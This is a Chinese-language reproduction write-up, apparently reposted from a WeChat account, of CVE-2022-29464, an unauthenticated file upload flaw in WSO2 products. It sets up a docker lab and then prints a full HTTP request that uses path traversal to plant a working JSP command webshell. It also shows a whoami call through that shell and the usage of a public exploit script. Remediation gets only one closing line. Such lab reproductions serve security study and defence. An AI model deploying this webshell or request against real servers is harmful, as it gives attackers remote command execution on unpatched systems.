CVE-2022-29464 WSO2文件上传漏洞是Orange Tsai发现的WSO2上的严重漏洞。该漏洞允许攻击者未授权上传jsp webshell从而在WSO2服务器上执行任意命令。
-
WSO2 API Manager 2.2.0—4.0.0
-
WSO2 Identity Server 5.2.0—5.11.0
-
WSO2 身份服务器5.4.0、5.4.1、5.5.0 和 5.6.0
-
WSO2 Enterprise Integrator 6.2.0—6.6.0
-
WSO2 身份服务器密钥管理器 5.3.0—5.10.0
可从vulfocus中拉取docker漏洞镜像，如图所示，执行命令
docker pull vulfocus/wso2-cve_2022_29464拉取漏洞镜像
漏洞镜像拉取完成后，如图所示，执行命令
docker run -d -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name cve_2022_29464 vulfocus/wso2-cve_2022_29464运行漏洞docker环境
漏洞环境启动完成后，访问
https://ip:9443
出现以下页面代表漏洞环境搭建成功
如图所示，构造如下数据包即可未授权在目标服务器上写入cmd webshell
POST /fileupload/toolsAny HTTP/1.1Host: 192.168.159.130:9443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=4af6f362a86baadf5ec3177278d4911Cookie: session=0cb2ce62-1f82-4c51-8735-229398731d4f.XC9bRwlYo7x31-PjcBFWrJnuG_w; JSESSIONID=C7832D63E80798858C15459A4267966EUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteContent-Length: 805--4af6f362a86baadf5ec3177278d4911Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"<%@ page import="java.io.*" %><%String cmd = request.getParameter("cmd");String output = "";if(cmd != null) {String s = null;try {Process p = Runtime.getRuntime().exec(cmd,null,null);BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));while((s = sI.readLine()) != null) { output += s+"</br>"; }} catch(IOException e) { e.printStackTrace(); }}%><pre><%=output %></pre>--4af6f362a86baadf5ec3177278d4911--
访问
https://192.168.159.130:9443/authenticationendpoint/cmd.jsp?cmd=whoami构造参数cmd和参数值whoami，即可获得WSO2服务器whoami命令执行结果
也可通过漏洞EXP
https://github.com/hakivvi/CVE-2022-29464利用漏洞
如图所示，将EXP下载后，执行
python exploit.py https://ip:9443/ shell.jsp即可上传jsp cmdshell至WSO2服务器
访问
https://ip:9443//authenticationendpoint/shell.jsp即可通过jsp cmdshell执行任意命令
将存在漏洞的WSO2应用版本升级至安全版本。
原文始发于微信公众号（第59号）：CVE-2022-29464 WSO2文件上传漏洞复现
